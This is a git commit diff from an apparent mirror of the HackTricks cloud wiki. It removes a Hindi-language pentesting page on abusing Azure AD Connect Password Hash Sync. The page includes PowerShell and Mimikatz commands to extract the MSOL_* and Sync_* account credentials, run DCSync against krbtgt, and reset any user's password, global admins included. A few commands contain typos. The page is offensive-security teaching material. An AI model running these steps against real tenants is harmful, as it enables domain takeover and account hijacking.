mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** एक साइन-इन विधियों में से एक है जिसका उपयोग हाइब्रिड पहचान को पूरा करने के लिए किया जाता है। **Azure AD Connect** एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक ऑन-प्रिमिस एक्टिव डायरेक्टरी उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है।
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यह कंपनियों द्वारा ऑन-प्रिम AD को Azure AD के साथ समन्वयित करने के लिए उपयोग की जाने वाली **सबसे सामान्य विधि** है।
|
||||
|
||||
सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-टेक्स्ट पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते।\
|
||||
इसके अलावा, **बिल्ट-इन** सुरक्षा समूह (जैसे डोमेन एडमिन...) **Azure AD में समन्वयित नहीं होते**।
|
||||
|
||||
**हैश समन्वयन** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
|
||||
|
||||
जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**।
|
||||
|
||||
**PHS** की आवश्यकता होती है जैसे **Identity Protection** और AAD Domain Services के लिए।
|
||||
|
||||
## Pivoting
|
||||
|
||||
जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशिष्ट खाते** स्वचालित रूप से **बनाए जाते हैं**:
|
||||
|
||||
- खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं**।
|
||||
- एक खाता **`Sync_<name of on-prem ADConnect Server>_installationID`** Azure AD में बनाया जाता है। इस खाते को Azure AD में **किसी भी उपयोगकर्ता** (समन्वयित या केवल क्लाउड) का पासवर्ड **रीसेट** करने की अनुमति है।
|
||||
|
||||
इन दो पिछले विशेषाधिकार वाले खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-टेक्स्ट में उन विशेषाधिकार वाले उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\
|
||||
डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है।
|
||||
|
||||
एक टेबल से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है।
|
||||
|
||||
आप इस [बातचीत में इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा है (जो दस्तावेज़ों में अनुशंसित है), तो इसे खोजने के लिए संभव है:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### MSOL\_\* का दुरुपयोग
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> आप इन क्रेडेंशियल्स को प्राप्त करने के लिए [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) का भी उपयोग कर सकते हैं।
|
||||
|
||||
### Sync\_\* का दुरुपयोग
|
||||
|
||||
**`Sync_*`** खाते से समझौता करने पर किसी भी उपयोगकर्ता (जिसमें Global Administrators शामिल हैं) का **पासवर्ड रीसेट** करना संभव है।
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
यह भी संभव है कि केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को संशोधित किया जाए (भले ही यह अप्रत्याशित हो)।
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है।
|
||||
|
||||
> [!CAUTION]
|
||||
> एक और विकल्प होगा **एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रमुख तक पहुँच प्राप्त करना** एक प्रिवेस्क के तरीके के रूप में।
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
PHS के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे चेक करें:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user